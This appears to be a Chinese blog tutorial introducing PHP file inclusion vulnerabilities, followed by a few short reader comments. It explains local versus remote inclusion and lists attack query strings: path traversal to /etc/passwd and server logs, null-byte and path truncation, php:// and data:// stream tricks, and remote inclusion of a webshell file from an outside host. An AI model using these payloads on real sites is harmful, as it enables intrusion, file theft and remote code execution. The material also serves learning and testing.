PHP文件包含漏洞入门

1.PHP配置在文件包含中的运用

文件包含漏洞即当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell)。而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分。allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件,在PHP4中则只有一个allow_url_fopen选择。其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞,相反为本地文件包含漏洞。

在文件包含中典型的两种格式如下:

(1)需要截断的文件包含

   include($_GET['chin']);
          include(“$_GET['dir']/test.php”);

①、使用%00来截断

在这里要想利用文件包含就必须突破后面/test.php的限制,而通常截断后面数据的有三个办法。

适合场合:Magic_quoteoff的情况下

②、使用?截断

适合场合:远程文件包含(RFI),相当于又构造了一次Get请求。

http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt?

③、通过使路径长度达到一定长度限制时截断

通常Windows的截断长度为240Linux的截断长度为4096; 

使用场合:均适用


(2).直接包含的类型

include(“$_GET['dir']“);

register_globalson的情况下,如果变量未初始化则可以达到文件包含的效果,通常网上发的文件包含 漏洞都没有上面两种那么直接,大部分需要register_globals的配合才能实现文件包含。可以直接在dir中指定文件名就能实现文件包含,而不需要经过截断处理。

 

2.基本的文件包含漏洞

包含同路径下的文件:

    ?file=.htaccess

路径遍历:

    ?file=../../../../../../../../../var/lib/locate.db

包含注入PHP代码的文件:

    ?file=../../../../../../../../../var/log/apache/error.log



3.受限的本地文件包含 

空字符注入(Null Byte Injection):

    ?file=../../../../../../../../../etc/passwd%00

列目录(Null Byte Injection):

    ?file=../../../../../../../../../var/www/accounts/%00

路径截断(Path Truncation):

    ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ 

点号截断:

    ?file=../../../../../../../../../etc/passwd……………. …


4.基本的远程文件包含

包含远程代码(Including Remote Code):

    ?file=[http|https|ftp]://websec.wordpress.com/shell.txt

使用php输入流(Using PHP stream php://input):

    ?file=php://input

使用PHP过滤函数(Using PHP stream php://filter):

    ?file=php://filter/convert.base64-encode/resource=index.php

Using data URIs (需要 allow_url_include=On):

    ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=

用于跨站脚本攻击(Using XSS):

    ?file=http://127.0.0.1/path/xss.php?xss=phpcode


5.受限的远程文件包含漏洞

?file=http://websec.wordpress.com/shell

?file=http://websec.wordpress.com/shell.txt?

?file=http://websec.wordpress.com/shell.txt%23

需要 allow_url_fopen=On  allow_url_include=On

版权声明:若无特殊注明,本文为《Chin》原创,转载请保留文章出处。
本文链接:https://www.qinor.cn/post-32.html
正文到此结束

热门推荐

发表吐槽

你肿么看?

你还可以输入 250 / 250 个字

嘻嘻 大笑 可怜 吃惊 害羞 调皮 鄙视 示爱 大哭 开心 偷笑 嘘 奸笑 委屈 抱抱 愤怒 思考 日了狗 胜利 不高兴 阴险 乖 酷 滑稽

评论信息框
可使用QQ号实时获取昵称+头像

私密评论

吃奶的力气提交吐槽中...

已有3条吐槽

匿名

2018-10-09 15:44 广东省深圳市移动
厉害
 Meizu M6 Note   MQQBrowser 6.2

百度下拉代理

2018-10-09 14:00 浙江省温州市电信
php 文件确实有很多漏洞的了
 Windows 7 x64   Google Chrome 55.0.2883.87

匿名

2018-10-06 20:03 中国移动
不错诶这个。
 Windows 10 x64   Google Chrome 69.0.3497.100